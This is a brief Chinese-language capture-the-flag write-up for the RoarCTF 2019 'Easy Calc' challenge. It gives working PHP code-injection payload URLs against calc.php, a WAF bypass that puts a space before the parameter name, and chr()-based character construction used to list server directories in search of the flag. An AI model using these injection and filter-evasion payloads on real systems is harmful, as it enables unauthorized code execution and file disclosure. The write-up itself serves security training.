[RoarCTF 2019]Easy Calc 1
解题过程
1.查看源码,发现calc.php
2.尝试输入命令,看能否执行
http://node4.buuoj.cn:25853/calc.php?num=phpinfo()
3.发现存在waf,进行绕过
PHP在接收URL传入的内容时,会将空格去除,将一些特殊字符转换为下划线(转换对象也包含空格)。
这里在num传参和?之后加入一个空格就可以绕过waf
http://node4.buuoj.cn:25853/calc.php?%20num=phpinfo()
4.绕过之后读取flag,但是特殊字符也被过滤了,尝试使用chr()函数将ascii值转换为字符串进行拼接
payload
/calc.php?%20num=var_dump(scandir(chr(46).chr(47)))
scandir() 获取指定目录下的文件,返回数组
数组需要var_dump()或者print_r()函数进行打印
chr()将ascii值转换为字符串
5.寻找flag
http://node4.buuoj.cn:25853/calc.php?%20num=var_dump(scandir(chr(47)))